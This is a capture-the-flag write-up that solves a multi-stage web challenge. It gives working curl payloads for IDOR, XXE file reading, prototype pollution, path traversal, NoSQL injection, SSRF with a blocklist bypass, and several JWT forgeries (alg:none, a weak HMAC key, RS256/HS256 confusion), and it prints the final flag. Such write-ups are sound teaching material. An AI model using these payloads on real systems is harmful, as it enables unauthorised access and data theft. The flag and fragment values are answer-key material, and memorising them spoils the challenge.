CTF writeup Web - Insane
By TheCyberWish · 5 min read
About the CTF: pinaka ctf
At first, this challenge looked like a normal fighting game. However, the story gave two important hints: ask the deathless crow for his map, and look past the mask. This suggeste…
kakbhusndi - 29 th Write-up
Category: Web / Crypto
Difficulty: Insane
URL: https://kush-astra-yuddha.vercel.app/
Introduction
At first, this challenge looked like a normal fighting game. However, the story gave two important hints: ask the deathless crow for his map, and look past the mask. This suggested that the real challenge was hidden in the web application's API, not in the game itself.
I opened the browser network tab and requested /api/universe:
curl -s https://kush-astra-yuddha.vercel.app/api/universe | jq
The response listed nine shrines and a final gate. Each shrine contained one khanda, a fragment needed to open the final gate.
The plan was simple:
- Find one khanda from each of the nine shrines.
- Forge the required JWT for the final endpoint.
- Send the forged token and all nine khandas to
/api/flag.
Khanda 1 — Tataka: IDOR / off-by-one
The /api/katha endpoint said that the readable IDs started at 1. The riddle mentioned something swallowed before the first item, so I tried ID 0.
curl -s "https://kush-astra-yuddha.vercel.app/api/katha?id=0"
The hidden entry returned the first khanda:
9dd32532e232
Khanda 2 — Subahu: XXE
The /api/homa endpoint accepted XML. Its hint said that the fire would read any entity I named and mentioned agni-khanda.scroll. That pointed to an XML External Entity attack.
I declared an external entity pointing to the scroll and placed the entity inside the XML body:
curl -s -X POST https://kush-astra-yuddha.vercel.app/api/homa \
-H "Content-Type: application/xml" \
--data-binary '<?xml version="1.0"?>
<!DOCTYPE yagna [<!ENTITY xxe SYSTEM "agni-khanda.scroll">]>
<yagna><oblation>&xxe;</oblation></yagna>'
The server read the file and returned:
2a486756ef52
Khanda 3 — Maricha: prototype pollution
The /api/maya endpoint merged JSON into an object, but then checked a fresh object instead of the object I sent. The hint said the fresh vessel needed darshan: "rishi".
I used _proto_ to add darshan: "rishi" to the prototype. As a result, new objects inherited that property.
curl -s -X POST https://kush-astra-yuddha.vercel.app/api/maya \
-H "Content-Type: application/json" \
-d '{"__proto__":{"darshan":"rishi"}}'
This returned:
2aa95abc0363
Khanda 4 — Viradha: path traversal
The /api/patra endpoint displayed scrolls from a folder. The riddle said that the wanted scroll was buried one level below the visible folder. That suggested path traversal using ../.
After testing the folder layout, I found the hidden scroll inside the sealed directory:
curl -s "https://kush-astra-yuddha.vercel.app/api/patra?scroll=../sealed/prithvi-khanda.scroll"
The response gave me:
89555a4458ab
Khanda 5 — Khara: NoSQL injection
The /api/dwar endpoint expected a name and a secret pass-phrase. The hint said the gate compared the pass-phrase loosely. That suggested a NoSQL operator injection.
Instead of sending a normal string, I sent $ne, meaning “not equal to.” This made the check succeed without knowing the real pass-phrase.
curl -s -X POST https://kush-astra-yuddha.vercel.app/api/dwar \
-H "Content-Type: application/json" \
-d '{"naam":"dwarpal","mudra":{"$ne":"x"}}'
The fifth khanda was:
eb072559af0c
Khanda 6 — Kabandha: SSRF and filter bypass
The /api/bhuja endpoint fetched a URL from the server. This is a Server-Side Request Forgery vulnerability.
The internal endpoint /api/garbha only trusted requests coming from inside the application, but the endpoint blocked the word garbha. I bypassed the simple blocklist by URL-encoding the letter g as %67.
curl -s "https://kush-astra-yuddha.vercel.app/api/bhuja?reach=https://kush-astra-yuddha.vercel.app/api/%67arbha"
The server decoded the URL, made the internal request, and returned:
1fc356c2c1ef
Khanda 7 — Akshayakumara: JWT alg:none
The /api/mudra endpoint checked a JWT. The problem was that it trusted the algorithm specified inside the token itself.
I created a token with:
{"alg":"none","typ":"JWT"}
and changed the payload to:
{"rank":"senapati"}
Because the algorithm was none, the token had an empty signature. The endpoint still accepted it.
curl -s -X POST https://kush-astra-yuddha.vercel.app/api/mudra \
-H "Content-Type: application/json" \
-d '{"token":"<alg:none token>"}'
The response returned:
cc143a62233e
Khanda 8 — Kumbhakarna: weak HMAC secret
The /api/parvat endpoint gave me an HS256 JWT. The hint said the key was a short, common five-letter island. The obvious guess was lanka.
I verified that lanka was the signing key, then created a new token with woke: true and rank: deva:
import jwt
token = jwt.encode(
{"rank": "deva", "woke": True},
"lanka",
algorithm="HS256"
)
I sent that token back to /api/parvat.
The mountain woke up and returned:
c5655016d2f2
Khanda 9 — Meghnad: SHA-256 length extension
The final shrine used a MAC in this format:
SHA256(secret + message)
This is unsafe because SHA-256 supports a length-extension attack. The endpoint gave me the original message, the MAC, and the length of the secret. I used those values to continue hashing from the existing hash state.
I appended:
&rank=trikaldarshi
The parser used the last rank value, so the new message was accepted without knowing the secret.
The ninth khanda was:
475b91ac0d1a
All nine khandas
1. 9dd32532e232
2. 2a486756ef52
3. 2aa95abc0363
4. 89555a4458ab
5. eb072559af0c
6. 1fc356c2c1ef
7. cc143a62233e
8. c5655016d2f2
9. 475b91ac0d1a
Final gate — Ravana: RSA-to-HMAC confusion
The final endpoint required a JWT with:
{
"drishti": "kakbhushundi",
"brahmand": "swarna-lanka"
}
The server normally issued an RS256 token. RS256 uses an RSA private key to sign and a public key to verify. However, the verifier trusted the algorithm supplied in the JWT header.
I collected several valid RS256 tokens and used their signatures to recover the RSA modulus. Once I had the public key, I created a new JWT using HS256 and used the RSA public key itself as the HMAC secret.
This worked because the server used the same public key while verifying the forged token.
My first request showed that the token was accepted but all khandas were missing. That error revealed an important detail: the khandas were not supposed to be inside the JWT. They had to be sent separately in the POST body.
curl -s -X POST https://kush-astra-yuddha.vercel.app/api/flag \
-H "Content-Type: application/json" \
-d '{
"token":"<forged HS256 token>",
"khandas":[
"9dd32532e232","2a486756ef52","2aa95abc0363",
"89555a4458ab","eb072559af0c","1fc356c2c1ef",
"cc143a62233e","c5655016d2f2","475b91ac0d1a"
]
}'
The server accepted the token and all nine khandas.
Flag
Flag{Kush_Br4hm4str4_D4sh4n4n_V4dh_a8f21177cd57037b11961d87}
Vulnerability summary
| Shrine | Vulnerability | Khanda |
|---|---|---|
| Tataka | IDOR / off-by-one | 9dd32532e232 |
| Subahu | XXE | 2a486756ef52 |
| Maricha | Prototype pollution | 2aa95abc0363 |
| Viradha | Path traversal | 89555a4458ab |
| Khara | NoSQL injection | eb072559af0c |
| Kabandha | SSRF and filter bypass | 1fc356c2c1ef |
| Akshayakumara | JWT alg:none | cc143a62233e |
| Kumbhakarna | Weak HMAC key | c5655016d2f2 |
| Meghnad | SHA-256 length extension | 475b91ac0d1a |
| Ravana | RSA recovery and RS256/HS256 confusion | Final gate |